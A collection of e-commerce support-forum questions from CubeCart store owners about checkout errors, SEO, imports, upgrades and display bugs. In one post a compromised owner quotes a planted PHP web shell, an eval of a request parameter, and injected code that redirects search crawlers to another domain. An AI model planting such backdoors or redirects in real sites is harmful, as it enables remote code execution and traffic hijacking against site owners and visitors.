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  1. Recently, we had a customer from Canada try to place an order on our website, but received a USPS error with no way to complete the checkout using a different shipping method. I have attached a .txt document of the error. We weren't having any issues with Canadian customers placing orders in the past, so this seems to have just suddenly started happening. Any help in resolving this issue would be greatly appreciated. USPS Error.txt
  2. hello, I have to say we are very impressed with cubecart at first glance it seems very friendly & so far is running stable so far. I have a few small issues we noticed during testing, I know I can address these but just need to get more familiar with the code structure. Question 1. With respect to "coupons" during final checkout instead of displaying the "coupon code" how can we change it to display the Coupon Description (or both) instead of the only the coupon code? Question 2: The External News & Announcements feed is causing insecure warning (when viewing dashboard via SSL) Where do we configure/disable that? Question 3: When setting up the PayPal Pro Plugin there is an option for "transaction password" under "3Dsecure" (just below merchant ID) can you clarify which password this is & is it required if I have the API setup & configured? Is there any security risk populating the 'transaction password' Can anyone elaborate on how this option effects transactions (if 3dSecure is disabled) or enabled with the merchant ID but without a transaction password? thanks in advance, Robert
  3. I have the Vat No. manually added to the print.receipt.php file in the skin/templates folder and the generic print.receipt.php, but recently it has stopped displaying on the printed out receipt. Does anyone have any ideas why this should be. Has an update changed the file?
  4. It came to our attention yesterday that the widely used Fusion plugin for ShopDev skins isn't compatible with PHP 5.5 or above. We have forked the repository and patched the issue here: https://github.com/cubecart/Fusion
  5. Hi all. I put Mail chimp script in my main.php file ( in {literal})while I was still using v6.06, and it worked mostly like I wanted it to. There was one issue which was that it was not showing on my homepage for some reason, but was on all others. I was planning to mainly use it to collect subscribers as I could not work out any other way to put up a popup form in cube cart. ( very limited knowledge) . Anyway.. It worked well for a while. Next, I upgraded to v6.07, and for some reason the popup stopped showing on all pages. Using the developer tools I found the following error: Error: multipleDefine Stack trace: makeError@https://s3.amazonaws.com/downloads.mailchimp.com/js/signup-forms/popup/embed.js:119:15 defineModule@https://s3.amazonaws.com/downloads.mailchimp.com/js/signup-forms/popup/embed.js:1579:20 runDefQ/<@https://s3.amazonaws.com/downloads.mailchimp.com/js/signup-forms/popup/embed.js:1635:25 forEach@https://s3.amazonaws.com/downloads.mailchimp.com/js/signup-forms/popup/embed.js:106:6 runDefQ@https://s3.amazonaws.com/downloads.mailchimp.com/js/signup-forms/popup/embed.js:1634:5 injectModule/onLoadCallback@https://s3.amazonaws.com/downloads.mailchimp.com/js/signup-forms/popup/embed.js:1451:6 req.injectUrl/onLoad@https://s3.amazonaws.com/downloads.mailchimp.com/js/signup-forms/popup/embed.js:1721:20 embed.js:1893:4 src: dojoLoader embed.js:1896:6 info: Object { pid: 0, mid: "//s3.amazonaws.com/downloads.mailch…", pack: 0, url: "//s3.amazonaws.com/downloads.mailch…", executed: 5, def: function (), isXd: true, isAmd: true, injected: 2, node: <script>, 5 more… } embed.js:1896:6 . embed.js:1898:5 Does anyone know what it all means? How do I fix this? Regards
  6. I am setting up my store, but for some reason the hover over image to zoon feature is definitely NOT working and I'm not sure how to fix it. I have been in the js.magnifier file and adjusted the width/height but it doesn't change anything. I'm not sure what else to honestly do. Any ideas?
  7. Hi There is something going on when I wish to create a new order in the back end. The save and save/Reload buttons keep disappearing and no order can be saved. As soon as you have selected either a product from the inventory tab or a customer from the "find customers", that's the end, the 2 "save" disappear and there is nothing else you can do. I also keep getting alert messages of risk fo forgery, the back button been used or something. I upgraded to 6.0.7 yesterday. End of July this year, I could perform these actions with no issues. Has anyone any ideas of where the problem may be ? Thanks
  8. Hi Working on the upgrade and as the stock level cannot be re-synchronised when all the work is done, I am taking this opportunity to review all my stock options. I have to use the matrix for my products. I thought I would create some option sets to make my life easier. So I have one called "ladies french sizes" looking like: -SIZE:: UK 08 - FR 36 - US 4 - SIZE:: UK 10 - FR 38 - US 6 -SIZE:: UK 12 - FR 40 - US 8 - etc, etc I go to my product, I click on option set and add ladies french sizes. I then tick status and matrix, save and reload, and no matrix appeared, problem number 1. I then noticed that if I tick the box called negative, the matrix then works ? So what's the function of this box called "negative" ? If I add one option by itself and not using the option set, then I do not need to tick the negative box for it to be added to the matrix. I just tick the matrix box, save and reload and all fine, it is automatically added to the matrix so this negative box seems to be critical for the option set. Correct ? Then although all my product options are all well incrementally organised, it is all a mismatch once transferred in the options matrix, so it is not easy when you have several lines of options and all the sizes are all over the place. Problem number 2, why is the incremental order all lost in the matrix ? Thanks for your advice. Sandrine
  9. This is my first install of CubeCart, I installed it locally first and noticed that when I clicked on login or a product, it doesn't actually take me to those pages. The URL changes, but the page doesn't, is this just CubeCart be default? Is there something I'm missing that I need to do or should have done to configure it properly? I have setup another install on a spare domain I have just to see if it was my local server config but I get the same thing live - http://www.centrenetsolutions.co.uk/ I just doesn't work like the demo at all - https://demo.cubecart.com/cc6/ - like clicking through to a new page just doesn't seem to work for me. Any idea why this is happening?
  10. For some reason I can't seem to print orders. When you go to print an invoice from the admin area, it's going to the page with this in the address bar: admin.php?_g=orders&node=index&sort%5Border_date%5D=DESC&print%5B0%5D=123456-123456-1234 But then just loading the page with the list of orders. If you try to print from order overview, it goes here: admin.php?_g=orders&node=index&print[]=1123456-123456-1234 But then just shows the page with the list of orders on again. Anyone got any idea where it's going wrong?
  11. Hiya I'm to improve the SEO rankings for my website. I'm starting to make progress but I'm noticing that if I do a search for lets say pirate costumes ireland or flapper costumes it brings me up alright but gives description of my webpage but not the category or webpage. Is this caused by a conflict between having a meta description and meta title in both documents and in the search engine of store setting. Should I delete one of them and if so which one? I've attached photos. My website is myfancydress.ie Cheers guys 8-)
  12. Hello, We have recently upgraded one of our websites to CubeCart V6 and have noticed that there is an issue when trying to add / update a products description, none of the text area boxes seem to be showing.. The only errors we are getting in our console log are; GET http://website.com/store/includes/ckeditor/config.js ckeditor.js:16 Uncaught TypeError: Cannot read property 'length' of undefined ckeditor.js:96 Has anybody had a similar issue or could point me in the right direction to getting this fixed? Thanks! Dan
  13. I installed CubeCart 5.2.16 on my godaddy hosting account directly from the applications it has on there. I installed it without a hitch and configured the store. I deleted the test product and category and made another category and made another product. When I go to upload the picture it says upload successful but it is not showing a picture. it says image is unavailable and it is under the 350kb limit. When I go to the file manager and images I can upload it but as soon as i try and edit the picture it says it is not there. Any help would be appreciated.
  14. Hello All, I am having a bit of an issue with the SEO for our site. All categories have a ?page=all variant which in the foundation skin does not go anywhere or do anything. Therefore I have pages competing against themselves for position as the rel canonicals are not working in these cases and it is identified as a separate page. How I mean not working here is for example .... www.examplestore.com/prodcuts/product.html?page=all .... should rel canonical to www.examplestore.com/prodcuts/product.html but instead includes the pagination of ?page=all identifying it as a separate and unique page. I know this issue was discussed previously last year, however it was not in the context of the foundation skin where the pagination actually has no function and serves no purpose. I have tried to 301 the urls with ?page=all but have not had any success so far Any steer here would be very much appreciated. Kealan
  15. I've been trying to get the CSV upload (import) to work but I haven't been able to get this to happen.. I export the CSV file as it stands, replace all the information, however which ever setting I use (. ; tab) ignore settings, select settings nothing works.. It says it uploads everytime but NONE of my products ever show up.. How do I correctly do this so I can stop wasting more of my time?
  16. I have been looking at CC6 as a product which I could use, but after doing a fresh install I get an error when it comes to the search section of the site. The issue looks to do with the mod_rewrites, I'm using Chrome and have cleared all cach and cookies but still see the issue. ERR_TOO_MANY_REDIRECTS So looking into this a little is this something to do with the .htaccess rules i'm using? RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} !=/favicon.ico RewriteRule ^(.*)\.html?$ index.php?seo_path=$1 [L,QSA] Also the URL string looks wrong : /search.html?_a=category&search[keywords]= as when looking at the demo site the URL string looks like this. search.html?search%5Bkeywords%5D=h&_a=category. What am I missing when installing?? I've installed using a git clone of V6 Right, if I change the .htaccess file to: RewriteRule ^(.*)\.html?$ index.php?seo_path=$1 [L] then I get the right URL string as the Live CC6 demo site on my local version: search.html?search%5Bkeywords%5D=nn&_a=category But this doesn't do anything, it just shows the Advanced Search page. So any ideas to why [L,QSA] gives redirect loop errors? Anyone
  17. Hello, I use last cubecart.i see i A php file (snippet_892d667b445c9ebb6888107b8124a8.php) on /includes/extra directory which include the below code: <?php eval($_REQUEST["H6GrD"]);?> this file recreate automatically again and again after i delete it !!! this code adding below code to my index.php file. if (preg_match("#(google|googlebot|slurp@inktomi|yahoo! slurp|msnbot)#si", $_SERVER['HTTP_USER_AGENT'])) { header("HTTP/1.1 301 Moved Permanently"); header("Location: http://www.reehair.com/"); exit; } if (preg_match("#(www\.google)#si",$_SERVER['HTTP_REFERER'])) { header("HTTP/1.1 301 Moved Permanently"); header("Location: http://www.reehair.com/"); exit; } now i am losing my seo links in search engines thanks in advance for any help
  18. I am getting some of that message when i try to log into my site not sure why,but it happen after i updated from v4 to v6. Any idea why? Thanks!.
  19. I have version v6.0.6 and last time i have upgraded from v4, the upgrade did not add about 100+ items,now i am asking if there is a way to add all at once , into the database and then upload images to ftp. It will take a while to add 1 by one. Maybe there is a mod or plugin or do a text file and inserted into database, don't have much experience but willing to try. Thanks for any advice.
  20. Hello There, As per the cubecart security suite I renamed the admin folder as well as the admin directory. Everything was running fine until i got this message: Not AcceptableAn appropriate representation of the requested resource /98510a.php could not be found on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. The only thing I was trying to do is to save my work. Every time I go to Store Settings and try to save my work I get this message please help!!!! I tried renaming it back to admin but cubecart wont work then. Is there any other place I need to rename as well. Your help is much appreciated. Regards, @Dirty Butter @bsmither @Al Brookbanks please help urgently!!!
  21. Under the order information in the tab (Notes) it has a section for client notes that are viewed by them. I can't seem to get this to work.. It doesn't send an email stating there is communication to the client, nor does it show anything to them when they login or directly viewing the order.. How do I get this feature to work?
  22. Hi, I've just noticed in Firefox, could be other browsers I don't know, on some of my pages it is showing the gray triangle in the address bar. When clicked the message says some of my pages are not encrpted and are not fully secure. Seems to be mostly on the Product Page. Thanks in advance, Claudia.
  23. Hello Cubecart Forums, I have just updated to 6.0.6 from 6.0.5 and I am now receiving the following error; Warning: file_exists(): open_basedir restriction in effect. File(/opt/alt/php54/usr/share/pear/memcached.class.php) is not within the allowed path(s): (/home/m564933:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp) in /home/m564933/public_html/classes/autoloader.class.php on line89Warning: file_exists(): open_basedir restriction in effect. File(/opt/alt/php54/usr/share/pear/memcached.php) is not within the allowed path(s): (/home/m564933:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp) in /home/m564933/public_html/classes/autoloader.class.php on line92 I am presuming that this is a problem initiating memcached on a shared server as its trying to call a function it does not have privileges for, can this be fixed as is / memcached be disabled ( not ideal )? or should I contact my hosting provider Thanks in advance
  24. If you view the image I am noticing that ALL CubeCart stores are displaying an extended version of the News & Announcements. Why is this?
  25. I've noticed since installing v6 that regardless of what skin I use, when my store is in offline mode the page script I place is halfway down the screen.. Seems the software is adding <p> </p> breaks between the start of the page and my script and I mean a lot of them.. This time I counted 16 lines of it.. I take them out and again it shows back up a short time later.. How do I fix this or can I? Thanks!
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